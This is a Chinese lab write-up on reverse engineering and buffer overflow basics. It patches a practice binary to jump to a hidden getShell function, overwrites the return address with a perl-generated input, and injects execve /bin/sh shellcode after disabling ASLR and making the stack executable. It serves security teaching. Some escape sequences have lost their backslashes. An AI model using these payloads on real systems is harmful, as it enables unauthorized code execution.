1. 逆向及Bof基础实践
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
1.2 直接修改程序机器指令,改变程序执行流程
1.2.1 常见汇编指令
命令类指令
MOV----> move 传送字或字节
PUSH---->push 把字压入堆栈
POP---->pop 把字弹出堆栈
程序转移指令 ---无条件转移指令(长转移)
JMP---->jump 无条件转移指令
CALL---->call 过程调用
RET---->return 过程返回
RETF---->return far 过程返回
1.2.2直接修改程序机器指令,改变程序执行流程
首先,利用objdump -d pwn1指令对pwn1进行反汇编,从图中可以看到核心代码。


从main函数中看到程序调用了位于地址8048491处的foo函数,还可以看到存在一个getshell函数,这就是我们要跳转的目标。
main函数调用foo对应的机器指令为e8 d7 ff ff ff。其中e8是跳转的意思,此时此刻EIP的值是下条指令的地址:80484ba,这时CPU会执行EIP+d7ffffff指令,d7ffffff是补码。则80484ba +d7ffffff= 0x80484ba-0x29=0x8048491,这与后面call 8048491<foo>正好对应。


所以我们的目标是修改机器指令,让它调用getshell,即计算0x0804847d-0x0x8048491=-3D。计算补码为11000011=c3。之后利用vim修改机器指令。



1.2.3通过构造输入参数,造成BOF攻击,改变程序执行流
利用gdb确定输入字符串哪几个字符会覆盖到返回地址,经过尝试发现eip 0x35353535 0x35353535 ,对应数字5,再输入确定堆栈的状态。


这时发现eip中显示0x34333231,则 1234 那四个数最终会覆盖到堆栈上的返回地址,。所以只要把这四个字符替换为 getShell 的内存地址,输给pwn2,pwn2就会运行getShell。
我们已经知道getshell内存地址为0804847d,反汇编输入11111111222222223333333344444444x7dx84x04x08。
因为没法通过键盘直接输入16进制数值,所以利用perl。
perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
其中x0a表示回车。生成input文件,之后将input作为输入,(cat input; cat) | ./pwn2,之后就能运行指令了。

1.2.4. 注入Shellcode并执行
准备一段Shellcode。
要注意的是,堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。输入命令 execstack -s pwn2设置堆栈可执行。
通过execstack -q pwn2查看堆栈是否可执行。
shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。使用more /proc/sys/kernel/randomize_va_space命令查看是否开启地址随机化。

其中
- 0表示关闭进程地址空间随机化。
- 1表示将mmap的基址,stack和vdso页面随机化。
- 2表示在1的基础上增加栈(heap)的随机化。
使用echo "0" > /proc/sys/kernel/randomize_va_space命令关闭进程地址空间随机化。
Linux构造buf的两种方法
- retaddr+nop+shellcode
- nop+shellcode+retaddr // 缓冲区足够大
经过尝试,只能使用retaddr+nop+shellcode构造。
使用命令perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode,构造输入。
前面的32个A用来填满buffer,x04x03x02x01为预留的返回地址,剩下部分为shellcode。
查看pid,并用gdb在foo函数的ret位置设置断点,在运行窗口敲回车,回到gdb查看esp寄存器,可知地址应为0xffffd330,修改input文件预留的地址。

成功。